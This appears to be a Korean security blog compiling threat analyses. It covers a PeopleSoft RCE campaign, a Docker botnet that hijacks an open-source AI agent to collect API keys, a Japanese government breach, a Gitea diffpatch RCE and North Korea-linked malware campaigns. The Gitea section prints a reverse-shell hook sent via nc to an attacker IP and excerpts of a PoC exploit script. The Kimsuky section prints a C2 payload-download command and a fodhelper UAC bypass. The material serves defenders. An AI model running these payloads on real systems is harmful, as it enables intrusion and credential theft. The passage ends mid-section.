> 공격자는 차단 대상인 /PSEMHUB/ 대신 첫 글자만 URL 인코딩해 /%50SEMHUB/로 요청 전송
> 많은 방화벽과 리버스 프록시 규칙이 URL을 디코딩하기 전 문자열 그대로 경로를 대조하는데, PeopleSoft 서버는 요청을 디코딩해 취약한 서블릿으로 넘긴다고 설명

- 악용하는 RCE 취약점은 CVE-2026-35273 (CVSS: 9.8)
> 영향받는 버전 : PeopleSoft Enterprise PeopleTools 8.61, 8.62
> 웹 기반 HTTP/HTTPS 요청에 대한 인증 확인 누락(CWE-306)
> 바뀐 경로로 조작된 자바 객체를 담은 요청을 보내 PSEMHUB 서블릿의 자바 역직렬화 결함 악용

- 이후 웹셸 x.jsp, u.jsp 업로드
> x.jsp : 운영체제를 가리지 않고 명령 실행
> u.jsp : 파일을 잘라 나눠 올리면서 cmd.exe로 명령 실행

- 다음 단계로 정상 설치 파일로 위장한 Ple64.exe를 올려 C++로 만든 백도어 SIDEEYE를 메모리에서 실행 
> 이 백도어는 외부 서버(162.219.30[.]165)와 통신하며 브라우저와 데스크톱 프로그램에 저장된 자격 증명을 빼내고, 프로세스와 파일을 다루고, 대화형 셸과 역방향 프록시까지 생성
> 터널링 도구 Neo-reGeorg를 함께 썼고, 리눅스 시스템에서는 웹셸을 심은 뒤 정상 원격관리 도구 MeshAgent를 올려 접근 경로를 생성
> 공격자가 실행한 명령 가운데 약 1/4은 root나 시스템 최고 권한으로 실행됐고, 나머지는 PeopleSoft나 WebLogic 서비스 계정 권한으로 실행

- 대응 방안
> CVE-2026-35273 패치 적용
> 환경관리허브를 끄거나 PSEMHUB 애플리케이션 삭제
> 웹로직 로그에서 /PSEMHUB/ 요청과 퍼센트 인코딩 변형 여부 점검
> PSEMHUB.war 디렉터리에 의심 파일이 없는지 점검
> 피플소프트 애플리케이션 서비스 계정이 읽을 수 있는 자격 증명 변경 
> 압축 파일을 만들거나 데이터베이스를 대량으로 내보낸 흔적, 서버 밖으로 나가는 통신 여부 점검
기타 - 샤이니헌터스는 최근 미국 연방수사국(FBI) 침해도 주장
> 두 사건이 같은 취약점으로 연결됐다고 단정할 근거는 아직 없음

 

보안뉴스

[1] https://www.boannews.com/news/articleView.html?idxno=146061
[2] https://www.dailysecu.com/news/articleView.html?idxno=208614
[3] https://nvd.nist.gov/vuln/detail/cve-2026-35273
[4] https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-renewed-mass-exploitation-campaign-targeting-oracle-peoplesoft?hl=en
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&menuNo=205020&nttId=72096

요약 - 도커 관리용 응용프로그램 인터페이스(API)를 인증 없이 사용할 수 있도록 TCP 2375 포트를 열어 둔 서버를 대상으로한 봇넷 Carbonato가 발견
- 높은 권한의 컨테이너를 만들고 서버의 파일시스템과 프로세스·네트워크 영역을 연결해 서버 본체에서 명령을 실행
내용 - 인증 없이 외부에 노출된 도커 서버를 감염시키고 다른 서버로 확산하는 봇넷 Carbonato가 발견
> 감염된 서버에는 정상 오픈소스 AI 에이전트를 설치해 공격자의 명령을 수행
> 새로운 도커 취약점을 이용한 공격이 아니라, 노출된 관리 권한을 악용하는 방식

- ThreatDown, 지난 8월 인증 없이 접근할 수 있는 도커 이미지 저장소 조사 중 Carbonato의 구성요소 확인
> 저장소에는 봇넷뿐 아니라 가짜 암호화폐 지갑 앱을 배포하는 도구도 포함
> 침투 대상은 도커 관리용 응용프로그램 인터페이스(API)를 인증 없이 사용할 수 있도록 TCP 2375 포트를 열어 둔 서버
> 공격자는 해당 기능으로 높은 권한의 컨테이너를 만들고 서버의 파일시스템과 프로세스·네트워크 영역을 연결해 서버 본체에서 명령 실행
> 이후 원격에서 다시 접속할 수 있도록 SSH 접속 수단 마련 및 악성 구성요소가 삭제되거나 서버가 재시작돼도 다시 실행되도록 설정
> 이어 정상 오픈소스인 Hermes Agent를 설치한 뒤 역할 설정 파일을 ‘GH0ST’라는 공격용 지시로 변경
> 이 지시에는 텔레그램으로 받은 작업을 수행하고 AI 서비스의 API 키 등 인증정보를 우선 수집하라는 내용이 포함

- AI가 확산 대상을 스스로 판단하는 구조는 아님
> 별도의 스크립트가 약 5분마다 감염 서버에서 접근 가능한 네트워크를 훑어 인증 없이 열린 도커 관리 포트를 찾고, 같은 침투 절차 반복
> AI 에이전트는 이미 감염된 서버에서 공격자의 작업을 수행하는 데 사용

- 대응방안
> 인터넷뿐 아니라 내부망과 도커 연결망에서도 2375 포트가 인증 없이 접근 가능한지 확인
> 원격 관리가 필요하다면 도커가 안내하는 SSH 또는 클라이언트 인증서를 적용한 TLS 연결을 사용하고 접근 대상 제한
> 예상하지 못한 고권한 컨테이너, 서버 파일시스템 연결, 역방향 SSH 접속과 텔레그램 통신 여부 점검
기타 -

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208602
[2] https://www.threatdown.com/blog/carbonato/

요약 - 일본 디지털청(Digital Agency), 정부 공통 업무환경인 Government Solution Service에 대한 외부 침입 사실 공개
- 공격자는 인터넷과 연결괸 VPN 장비의 취약점을 이용해 침입하였으며, 약 24만 6000건의 개인정보 유출 가능성 존재
내용 - 일본 디지털청(Digital Agency), 일본 여러 중앙부처에서 공동으로 사용하는 업무 시스템 Government Solution Service (GSS) 해킹 사실 공개
> 약 24만6000건의 개인정보가 외부로 유출됐을 가능성이 확인
> 공격자는 인터넷과 연결된 VPN 장비의 취약점을 이용해 시스템 내부로 침입한 것으로 조사

- 06.25 디지털청은 GSS 유지·운영 담당자의 계정을 이용해 서버에 저장된 대량의 파일에 접근한 이상 행위 탐지 및 조사 시작
> 조사 결과 제3자가 네트워크 연결 장비인 VPN의 취약점을 이용해 GSS 내부로 침입한 사실이 확인
> 디지털청은 문제가 된 유지·운영 계정을 정지하고 침해된 장비와 외부 사이의 통신을 차단
> 외부 전문업체와 조사를 진행해 개인정보가 외부로 빠져나갔을 가능성을 확인

- 유출 가능성이 있는 개인정보는 약 24만6000건
> GSS를 사용하는 정부기관 직원과 관련 업무를 수행한 공무원 등의 정보 약 18만9000건
> 정부 업무에 참여한 사업자와 개인의 정보 약 5만7000건

- 정보 유형별 분류 ① 이름 약 23만6000건 ② 이메일 주소 약 23만1000건 ③ 전화번호 약 9만4000건 ④ 주소 약 1000건
> 다만 전화번호와 주소 상당수는 개인 연락처나 자택 주소가 아니라 정부기관 업무용 연락처와 청사·사업장 주소

- 일본 정부, 마이넘버(My Number), 금융기관 계좌정보, 연금번호는 유출 가능성이 있는 자료에서 확인되지 않으며, 일반 국민의 개인정보도 포함되지 않았다고 설명
> 일부 민간인 정보는 정부 업무를 수행한 기업 직원과 개인사업자, 정부기관이 개최한 웹회의 참석자 등의 업무용 정보

- 이번 사고에서 공격에 이용된 VPN 취약점은 사고 이전에 이미 공개된 취약점
> 해당 취약점이 처음 공개될 당시 CVSS 기준 위험도 ‘중간(Medium)’ 수준
> 내부에서는 일반적인 대응 기준보다 빠르게 조치를 진행하고 있었지만, 수정 적용 전 공격자가 취약점 악용
> 현재는 해당 VPN 장비에 수정 프로그램 적용, 관련 계정의 인증정보 변경, 침해 장비의 외부 통신 차단
> 이후 새로운 비정상 접근이나 의심스러운 통신은 확인되지 않았다고 밝힘

> 다만 VPN 제품, CVE, 구체적인 공격 방법, 배후 공격그룹은 밝히지 않음
> 구체적인 취약점 정보를 공개할 경우 향후 시스템 보안에 영향을 줄 수 있다는 이유

- 제로트러스트 구조를 도입했다고 해서 인터넷에 노출된 경계 장비의 취약점 관리가 중요하지 않은 것은 아님
> 디지털청은 GSS에 제로트러스트 아키텍처를 적용했지만 이번 침입과 개인정보 유출 가능성을 막지 못했다고 인정
> 사고 이후에는 취약점 관리 절차와 외부 접속 방식을 다시 점검

- 국내 공공기관과 기업도 인터넷과 직접 맞닿아 있는 장비의 취약점 관리 체계를 다시 점검할 필요
> VPN, SSL VPN, 방화벽, 보안 게이트웨이 등
> CVSS 점수만으로 패치 순서를 정하기보다 장비의 인터넷 노출 여부, 관리자 권한, 중요 시스템 연결 여부와 실제 공격 가능성 함께 판단
기타 - GSS
> 각 정부부처가 사용하는 업무용 PC와 네트워크, 소프트웨어, 커뮤니케이션 도구와 보안 환경을 공통으로 제공하는 시스템
> 제로트러스트 네트워크 아키텍처도 도입
> 26.02 기준 일본 정부 18개 기관 약 5만3000명이 사용
> 일본 정부는 향후 이용자를 약 28만명 규모까지 확대할 계획
> 여러 정부기관의 업무환경을 하나의 공통 기반으로 통합하는 구조로, 보안장비 한 곳의 취약점이 전체 환경에 미침

- 타임라인
> 06.25 이상 행위 탐지
> 07.15 침입 경로와 개인정보 유출 가능성 확인 후 일본 개인정보보호위원회에 사고 보고
> 09.11 피해 범위와 대상자를 조사한 뒤 공식 공개
> 09.12 업데이트된 조사 결과 기준으로 이번 사고와 관련한 개인정보 악용 등 2차 피해는 확인되지 않음
> 디지털청은 피해 가능성이 있는 대상자의 연락처를 확인해 순차적으로 개별 통지하고 있음

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208517
[2] https://www.digital.go.jp/en/news/2026-0911-01

1. Gitea

- 자체 서버나 로컬 환경에 직접 구축하여 사용할 수 있는 가볍고 빠른 오픈소스 셀프 호스팅 Git 서비스 [1]

2. 취약점

[사진 1] CVE-2026-60004 [2]

- Gitea의 diffpatch API를 통해 동일한 패치를 두 번 제출할 경우 동일 경로 추가 충돌이 발생하고, 이 과정에서 악성 훅 파일(hooks/post-index-change)이 Bare 저장소에 실제 파일로 기록되어 Gitea 서비스를 구동하는 OS 계정 권한으로 임의의 코드를 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.8) [3][4][5]

영향받는 버전
- Gitea 1.17 이상 1.27.1 미만

 

2.1 Non-bare 및 Bare 저장소

구분 Non-bare 저장소 Bare 저장소
목적 개발자가 로컬에서 코드 작성/수정/커밋 등 개인 작업용 코드 공유용 중앙 공유 저장소
구조 작업 디렉터리 영역 (실제 프로젝트 파일이 저장)
.git 디렉터리 영역 (Git 관리 정보가 저장)
작업 디렉터리 영역 없음
Git 관리 디렉터리
($GIT_DIR)
.git 저장소 경로 자체가 Git 관리 영역
참고

 

2.2 diffpatch API

- diffpatch API는 내부적으로 git apply 명령을 사용하여 변경 내용을 담은 diff를 받아 그대로 저장소에 반영하며, 명령어 옵션을 통해 패치 적용 방식과 충돌 처리 방식을 지정할 수 있음 [6]

구분 설명
--index 패치를 Index와 작업 디렉터리 모두에 적용
--recount 패치의 Hunk 헤더에 기록된 줄(line) 수를 신뢰하지 않고 실제 패치 내용을 확인해 줄(line) 수 재계산
--cached 작업 디렉터리를 변경하지 않고 Index에만 패치를 적용
--binary 바이너리 패치 적용을 허용
-3way(-3) 패치가 생성된 시점의 파일과 현재 서버에 저장된 파일이 달라 그대로 적용할 수 없을 때 병합을 시도
> Git은 패치를 만든 사람이 수정하기 전/후 파일과 현재 서버에 저장된 파일을 비교
> 패치로 바꾸려는 부분과 서버에서 이미 바뀐 부분을 구분해 서로 다른 부분이면 두 변경을 합치고, 같은 부분을 다르게 변경한 경우 병합하지 않고 충돌로 처리

 

2.3 취약 코드

- Gitea는 사용자의 패치 요청을 받으면 내부적으로 Git 명령을 호출해 처리

> 이때 임시 저장소에 대상 브렌치를 복사해 패치 적용하며, 적용 결과는 커밋한 뒤 원본 저장소에 반영

 

- 패치 처리용 임시 저장소를 생성할 때 Clone()을 호출하며, Bare 저장소 사용 여부를 나타내는 세 번째 인자를 true로 설정

> 해당 값이 true인 경우 Gitea 내부에서 git clone 명령을 만들 때 --bare가 추가되어, 임시 저장소는 Bare 형태로 생성

// services/repository/files/patch.go [7]
func ApplyDiffPatch(ctx context.Context, repo *repo_model.Repository, doer *user_model.User, opts *ApplyDiffPatchOptions) (*structs.FileResponse, error) {
	...
	if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
		return nil, err
	}
	...
}

// services/repository/files/temp_repo.go [8]
func (t *TemporaryUploadRepository) Clone(ctx context.Context, branch string, bare bool) error {
	if err := gitrepo.CloneRepoToLocal(ctx, t.repo, t.basePath, git.CloneRepoOptions{
		Bare:   bare,
		Branch: branch,
		Shared: true,
	});

// modules/git/repo.go [9]
func Clone(ctx context.Context, from, to string, opts CloneRepoOptions) error {
	...
	if opts.Bare {
		cmd.AddArguments("--bare")
	}
	...
		RunWithStderr(ctx)
}

 

- 임시 저장소 생성 후 임시 저장소의 Index에만 반영하기 위해 --cached 옵션을 사용하며, Git 버전이 2.32 이상이면 -3 옵션을 추가

// services/repository/files/patch.go [10]
func ApplyDiffPatch(ctx context.Context, repo *repo_model.Repository, doer *user_model.User, opts *ApplyDiffPatchOptions) (*structs.FileResponse, error) {
	...
	cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--ignore-whitespace", "--whitespace=fix", "--binary")
	if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
		cmdApply.AddArguments("-3")
	}
	...
}

 

- 첫 번째 요청이 --cached 옵션으로 인해 Index에서만 반영되고, 실제 작업 환경에서는 파일이 생성되지 않음

> 이후 동일한 패치를 다시 전송하면, 첫 번째 요청으로 인해 Index에 동일한 경로의 파일이 존재하므로 동일 경로 추가 충돌(add/add)이 발생하며, -3 옵션에 의해 3-way merge가 수행

> 기존에 동일한 경로의 파일이 존재해 add/add 충돌이 발생한 경우, 현재 파일 내용을 가져오기 위해 load_current()가 호출

 

- load_current()는 Index에서 해당 경로에 파일이 존재하는지 확인 후, 병합 전 Index의 내용과 실제 파일이 일치하는지 검사

> 실제 파일이 존재하지 않으면 checkout_target()을 호출하며, 해당 함수에서 --cached 여부를 확인하지 않아 Index의 내용 실제 경로에 파일로 생성됨

// apply.c [11]
static int try_threeway(struct apply_state *state, struct image *image, struct patch *patch, struct stat *st, const struct cache_entry *ce){
	...
	/* our_oid is ours */
	if (patch->is_new) {
		if (load_current(state, &tmp_image, patch))
			return error(_("cannot read the current contents of '%s'"),
				     patch->new_name);
	} else {
		if (load_preimage(state, &tmp_image, patch, st, ce))
			return error(_("cannot read the current contents of '%s'"),
				     patch->old_name);
	}
	...
}

 

2.3 공격 흐름

- 공격자는 POST /api/v1/repos/{owner}/{repo}/diffpatch URL로 hooks/post-index-change를 새 파일로 만드는 패치를 전송

> 해당 예시는 리버스 쉘을 생성하는 스크립트로, Git Hooks으로 등록되어 Git Index가 갱신될 때(post-index-change) 자동으로 호출

> 첫 번째 요청은 Bare 임시 저장소에 복제되며, --cached에 의해 Index에만 기록

> 동일한 요청을 재전송하면 add/add 충돌이 발생하여, Index에만 존재하던 파일이 Bare 저장소의 실제 경로에 생성

diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000000000000000000000000000000000000..<blob-sha>
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,2 @@
+#!/bin/sh
+F=/tmp/.$$;rm -f $F;mkfifo $F;cat $F|/bin/sh -i 2>&1|nc 공격자 IP Port >$F;rm -f $F

 

2.4 PoC

- hooks/post-index-change 경로에 악성 패치 스크립트를 생성한 뒤, /api/v1/repos/{owner}/{repo}/diffpatch 엔드포인트로 동일한 패치를 두 번 연속 전송하여 add/add 충돌을 유발하고, Index에만 존재하던 악성 Hook 파일을 실제 경로에 생성 [12]

def build_hook(command: str, leak_ref: str) -> bytes:
    qcmd = shlex.quote(command)
    qref = shlex.quote(f"refs/heads/{leak_ref}")
    return (
        "#!/bin/sh\n"
        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\n'
        'origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2\n'
        'case "$origin_objects" in\n'
        '  /*) ;;\n'
        '  *) origin_objects="$git_dir/objects/$origin_objects" ;;\n'
        "esac\n"
        'origin_git=${origin_objects%/objects}\n'
        '[ "$origin_git" != "$origin_objects" ] || exit 3\n'
        f"output_blob=$({{ /bin/sh -c {qcmd}; "
        'command_status=$?; printf "\\n[exit-status=%s]\\n" "$command_status"; } 2>&1 | '
        'git --git-dir="$origin_git" hash-object -w --stdin) || exit 4\n'
        'tree=$(printf "100644 blob %s\\toutput\\n" "$output_blob" | '
        'git --git-dir="$origin_git" mktree) || exit 5\n'
        'commit=$(printf "command output\\n" | '
        "GIT_AUTHOR_NAME=0xBlackash GIT_AUTHOR_EMAIL=0xBlackash@poc.local "
        "GIT_COMMITTER_NAME=0xBlackash GIT_COMMITTER_EMAIL=0xBlackash@poc.local "
        'git --git-dir="$origin_git" commit-tree "$tree") || exit 6\n'
        f'git --git-dir="$origin_git" update-ref {qref} "$commit" || exit 7\n'
        "exit 0\n"
    ).encode()

def build_patch(hook: bytes) -> str:
    lc  = hook.count(b"\n")
    hdr = (
        "diff --git a/hooks/post-index-change b/hooks/post-index-change\n"
        "new file mode 100755\n"
        f"index {'0'*40}..{blob_oid(hook)}\n"
        "--- /dev/null\n"
        "+++ b/hooks/post-index-change\n"
        f"@@ -0,0 +1,{lc} @@\n"
    ).encode()
    return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()
    
def main() -> int:
    hook = build_hook(args.command, leak_ref)
    patch = build_patch(hook)
    
        log_star("submitting malicious patch (1/2)...")
    client.api("POST", f"/api/v1/repos/{owner}/{repo_name}/diffpatch", {
        "content": patch,
    })
    log_star("submitting malicious patch (2/2)...")
    client.api("POST", f"/api/v1/repos/{owner}/{repo_name}/diffpatch", {
        "content": patch,
    })

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [13][14]

> 패치 처리용 임시 저장소를 생성할 때 Non-Bare 저장소로 복제되도록 세 번째 인자 false로 변경

> load_current()에서 --cached 옵션 여부 확인

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-60004 Gitea 1.17 이상 1.27.1 미만 1.27.1 이상

 

- POST 메서드의 /diffpatch 요청, 같은 저장소에 대한 연속적인 요청 등 로그 점검

- 최근 생성된 계정과 해당 계정이 만든 저장소 점검

- 외부 노출 차단

- 관련된 모든 비밀 변경

4. 참고

[1] https://about.gitea.com/
[2] https://nvd.nist.gov/vuln/detail/cve-2026-60004
[3] https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m
[4] https://www.skshieldus.com/security-insights/trends/eqstnow-gitea-git-hook-cve-2026-60004
[5] https://www.skshieldus.com/report/eqstInsight/rt2608.html
[6] https://git-scm.com/docs/git-apply
[7] https://github.com/go-gitea/gitea/blob/b969123b7fac51c88daab5cb64e5b2f4abd53288/services/repository/files/patch.go#L137
[8] https://github.com/go-gitea/gitea/blob/b969123b7fac51c88daab5cb64e5b2f4abd53288/services/repository/files/temp_repo.go#L58
[9] https://github.com/go-gitea/gitea/blob/b969123b7fac51c88daab5cb64e5b2f4abd53288/modules/git/repo.go#L133
[10] https://github.com/go-gitea/gitea/blob/b969123b7fac51c88daab5cb64e5b2f4abd53288/services/repository/files/patch.go#L167
[11] https://github.com/git/git/blob/12cb6293d6288865c1a133cf22accbaf99d13eb6/apply.c#L3728
[12] https://github.com/0xBlackash/CVE-2026-60004
[13] https://blog.gitea.com/release-of-1.27.1/
[14] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=72188&menuNo=205020

1. 개요

- 북한 연계 해킹 조직이 국내 기관·기업을 대상으로 공격 캠페인을 수행

- 외부에 노출된 그룹웨어·메일 서버 또는 스피어피싱 이메일을 초기 침투 거점으로 활용

- 정상 서비스·프로그램 악용 및 침해된 정상 웹사이트·서버를 C2 서버로 악용하여 탐지 회피

- 시스템 정보, 자격 증명, 이메일, 키로깅 등 정보 탈취

2. 주요내용

2.1 Kimsuky, 원격 제어 도구 악용

[사진 1] 공격 개요

- Kimsuky는 악성코드 압축파일을 OneDrive에 업로드하고, 해당 파일의 공유 링크가 포함된 피싱 이메일을 전송 [1][2]

> 압축 파일에 포함된 LNK 파일 실행 시 숨겨진 파워쉘 명령어가 실행되어 C2 서버에 접속, 미끼 문서 실행 및 악성코드 다운·실행

> VBE 파일은 C2 서버에 MAC 주소를 인자로 요청을 전송하고 응답으로 전달된 파워쉘 스크립트를 메모리에서 즉시 실행

> C2 서버로의 첫 요청 시 bot.vbe를 15분 주기로 실행하는 작업을 "Chrome\_Update"라는 이름으로 등록

# 파워셀 명령어
/c mode 15,1 & explorer.exe hxxp://103.77.242[.]187/JINF.pdf & curl hxxp://103.77.242[.]187/logo.png -o %appdata%\bot.vbe & %appdata%\bot.vbe & exit

# VBE 파일 (VBScript)
hxxp://103.77.242[.]187/view.php?type=apple&seed=<MAC주소>

 

- bot.vbe는 C2 서버에서 파워쉘 스크립트를 다운로드해 실행하며 악성 행위 수행 유형과 원격 제어 도구 설치 유형으로 나뉨

구분 유형 설명
악성 행위 수행 시스템 정보 유출 - 작업 등록 이후 처음으로 유포 및 실행되는 파워쉘 스크립트
> 설치된 보안 프로그램과 시스템 정보를 C:\users\public\music\aaa.tmp 경로에 저장
> 이후, 추출된 정보를 Base64 인코딩 후 "="를 "%"로 치환해 C2로 POST 전송
> C2 : hxxp://103.77.242[.]187/receive.php
이메일 수집 - 로컬 메일함에서 메일 데이터를 수집
> Thunderbird와 Outlook 메일 데이터를 수집
 ① Thunderbird
   ⒜ 로컬에 mbox 포맷으로 저장된 이메일 아카이브 파일에서
        From - \* 문자열을 기준으로 메일을 하나씩 추출해 eml 파일로 저장
   ⒝ 수신함에서는 약 55MB 분량의 최신 메일 데이터를 추출하여 
        C:\Users\Public\Music\Inbox\ 경로에 저장
   ⒞ 보낸 편지함에서는 약 100MB 분량의 최신 메일 데이터를 읽고 
        C:\Users\Public\Music\Sent\ 경로에 저장

 ② Outlook
   ⒜ 로컬 수신함 및 보낸 편지함에서 26.01.01 이후의 모든 이메일을 수집하고
        첨부 파일을 분리하여 C:\users\public\music\mail\ 경로에 저장
   ⒝ 계정 이름으로 하위 디렉토리를 생성하여 저장 경로 분류
   ⒞ 이메일 본문 및 메타데이터는 계정별 email.csv 파일에 일괄 저장
   ⒟ 첨부파일은 메일 본문과 분리하여 계정별 attachment\ 디렉토리에 저장

- 크롬 확장 프로그램을 통한 Gmail 수집
> 확장 프로그램(manifest.json)은 content.js, background.js 2개로 구성
  ① content.js
   ⒜ Gmail 페이지 내부에서 작동하며 "보내기" 버튼과 메일 열람 화면 감시
   ⒝ "보내기"를 누르면 작성 창에서 수신인, 제목, 본문, 첨부파일을 추출, 백그라운드에 전달
   ⒞ 메일 열람 화면이 나타나면 발신자, 제목, 본문, 첨부파일을 추출, 백그라운드에 전달
   ⒟ 첨부파일은 fetch를 통해 링크에서 다운받은 뒤 Base64 인코딩하여 백그라운드에 전달

 ② background.js
   ⒜ 백그라운드에서 동작하며 content.js가 전달한 이메일 데이터를 C2 서버로 전송
   ⒝ 이메일 본문과 첨부파일은 type 파라미터를 통해 구분
   ⒞ 일본의 무료 호스팅 서버가 C&C 서버로 사용
   ⒟ C2 : hxxps://sweet-iki-4263.holy[.]jp/gmail.php
키로거 - 비밀번호 입력 등 키 입력 정보를 탈취
> 인라인된 C# 코드를 메모리에서 직접 컴파일해 실행
> 키보드 입력을 후킹해 모든 키 입력을 %appdata%\Microsoft\ttmp1.log 경로에 저장
> 추가 스크립트를 이용해 수집된 키로거 파일을 C2 서버에 업로드했을 것으로 추정
원격 제어 도구 설치 크롬 원격 데스크톱 - 크롬 원격 데스크톱을 설치해 GUI 원격 제어 수행
> 설치 스크립트는 fodhelper.exe를 이용해 UAC를 우회하고 관리자 권한으로 C2 서버에서 다운로드한 배치 파일을 실행
> ms-settings.exe의 레지스트리를 수정하여, fodhelper.exe 실행 시 UAC 우회 및 관리자 권한으로 크롬 원격 데스크톱 설치 파일을 실행
> 정상 설치 확인을 위해 C:\Program Files (x86)\Google 경로의 디렉토리 리스팅 결과를 C:\users\public\music\bbb.tmp에 저장
> bbb.tmp는 Base64 인코딩 후 "="를 "%"로 치환해 C2로 POST 전송
> C2 : hxxp://103.249.117[.]183/receive.php

※ fodhelper.exe [3][4][5]
- Windows에서 주문형 기능(FoD, Features on Demand) 관리를 담당하는 정상적인 시스템 파일
- 윈도우 주문형 기능은 사용자가 필요할 때 선택적으로 프로그램을 설치 또는 활성화할 수 있는 기능
- C:\Windows\System32\fodhelper.exe에 위치
- 윈도우의 UAC에 의한 프롬프트 인터럽트 없이 자동권한 상승을 위해 "autoElevate=true", "requireAdministrator" 지시자를 지님
- System32 경로에 위치하며, MS에 의해 서명되어 있고, 관리자 권한 설정을 지니기 때문에 공격자들이 UAC 우회 및 권한 상승을 달성하기위해 악용
- 해당 파일이 실행될 때 반드시 ms-settings.exe을 실행하고, ms-settings.exe이 실행될 때 HKCU\Software\Classes\ms-settings\shell\open\command 키 값이 같이 실행
- 공격자가 ms-settings 레지스트리 키 값에 악성 코드를 삽입하면 fodhelper.exe를 실행했을 때 관리자 권한으로 행위할 수 있음
AnyDesk - C2 서버 160.187.147[.]119에서 AnyDesk 설치를 위한 추가 파일 다운로드
> bimage.vmd에 정의된 작업 정보를 이용해 User\_Feed\_Synchronization-{0DDC1BD9-E733-425C-B92B-ABAC149AB11232} 예약 작업 등록
  ① 작업
   ⒜ 5분 주기로 default\_an.vbs를 실행
   ⒝ default\_an.vbs는 다시 default\_an.ps1 호출
   ⒞ default\_an.ps1은 MyAnyMutexName 뮤텍스로 중복 실행 방지, AnyDesk 실행·은닉

 ② 은닉
   ⒜ 모든 창 이름을 탐색해 anydesk, Windows Security Alert, Windows 보안 경고가
       제목에 포함된 창을 모두 숨김 처리
   ⒝ 작업 표시줄의 AnyDesk 버튼 제거
   ⒞ 시스템 트레이 영역을 탐색해 AnyDesk 아이콘 제거

 

2.2 북한 연계 해킹 조직의 공격 캠페인

[사진 2] 공격 개요

- 외부에 노출된 그룹웨어·메일 서버의 취약점을 악용하여 초기 접근 권한 획득 [6]

구분 설명
SSH keylogger - DMZ 서버에 지속성을 확보하고 변조된 sshd를 통해 정상 사용자의 평문 자격 증명을 탈취
>
사용자 지정 치환 암호와 Base64 인코딩을 사용하여 암호화
> 탈취한 자격 증명은 /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19에 저장
>
polkitd, crond, agetty, atd에서도 동일한 암호화 방식이 확인
CurlRAT Stager - 1바이트 XOR 연산으로 구성 문자열을 복화하고 루트 권한을 확인한 뒤 OS 환경 확인 및 페이로드 드랍
> 트로이 목마화된 crond 바이너리를 복호화하고, 정상 데몬에 덮어쓴 뒤 서비스 재시작
> 시스템에서 HAProxy 또는 cron이 실행 중인 경우에만 백도어가 삽입된 crond를 설치
> 동작 환경은 CentOS 7.7~7.9 및 Ubuntu 22.04로 확인
> 백도어 설치 후 crond 바이너리가 /usr/bin/ssh와 동일한 생성 타임스탬프를 갖도록 수정
> /tmp/jasper-log 파일을 이용해 특정 키워드(tmp, wget, cron, crond 등)를 로그에서 삭제하여 흔적 제거

※ 키워드 삭제 로그 파일 
- /root/.bash_history
- /var/log/messages
- /var/log/audit/audit.log
- /var/log/cmd.log
- /var/log/secure
- /var/log/syslog
- /var/log/auth.log
CurlRAT - 변조된 crond에 포함된 두개의 스레드로 구성

① 첫 번째 스레드 : C2 통신 및 명령 실행
- /var/lib/snapd를 생성하고 /var/lib/snapd/g580에서 피해자 ID를 확인한 뒤, 필요 시 보조 C2에서 최신 설정을 받아 /var/lib/snapd/g105에 저장

- 피해자 ID는 문자열(cron_3.0pl1-137ubuntu3), 호스트명, IPv4 주소, 하드웨어/OS UUID를 연결해 MD5 생성하며, C2 통신 시 User-token 헤더에 포함

- 각 주기마다 libcurl을 이용하여 C2에 HTTPS를 통해 설정 파일을 받아오나, HTTPS 실패 시 HTTP 사용
> 기본 주기는 12시간이지만, 공격자가 Fast Poll 모드 설정 시 30초로 단축
> 재시도 루프는 한 주기당 5초 간격으로 최대 6회까지 수행되며 첫 번째 시도 실패 시 즉시 종료
> 받아온 설정 파일은 세 개의 단일 문자열로 구분(! : 인증 정보 필드, # : Payload 필드, * : 인자 필드)

- 인증 정보 필드를 피해자 토큰과 비교해 성공 시 # 필드를 확인해 명령 실행
> 0 : 명령 실행 (Base64+XOR 디코딩 후 popen을 통해 실행 및 결과를 반환)
> 1 : 설정 쓰기 (새로운 설정을 받아 유효성을 검사하고 설정 적용)
> 2 : 단계별 페이로드 드랍 (C2와 통신하며 페이로드를 받아 최종 드랍 경로에 압축 해제)
> 3 : 리버스 쉘 (root 권한으로 리버스쉘 생성)
> 4 : 비콘 (시스템 정보 전송)
> 5 : PTY 쉘 (대화형 쉘 생성)

- C2 통신에는 XOR+Base64 기반 자체 암호화가 사용
> name=%s&value=%s&type=%d 형식의 application/x-www-form-urlencoded HTTP POST Body에 포함하여 C2로 전송
> 요청은 하드코딩된 API Token으로 인증

② 두 번째 스레드 : HAProxy Watchdog(감시)
- /usr/lib/libvirtlog.so.0 파일의 존재 여부를 확인해 시스템이 가상화 환경에서 실행 중인지 확인
> 해당 파일이 존재하지 않을 경우 6분 대기 후 종료

- 매시간 /var/run/haproxy.pid에서 PID를 읽고 /proc/pid를 조회하여 HAProxy 상태 모니터링
> HAProxy 상태 코드 : 0(실행), 1(중지), 2(재시작, PID 타임스탬프 수정 및 새로운 PID), 3(재로드, PID 타임스탬프 수정 및 PID 유지)
> 모니터링 결과를 C2 엔드포인트 writeservice_info로 전송

- CentOS 버전의 CurlRAT도 동일한 기능을 제공하지만, 함수를 atd_ 계열로 위장
> IPv4 주소, OS 버전, 서비스 목록, Listening Port 정보를 C2로 전송
Ted Backdoor - 공격자는 HAProxy 2.8.12 소스 코드에 ted_plugin을 포함하여 HAProxy 자체를 재컴파일
> HAProxy 내부 HTTP 파서를 후킹하여 정상적인 로드 밸런싱을 유지하면서 HTTP 트래픽 감시

- ~/cache/haproxy-1000.cache에서 백도어 설정 로드
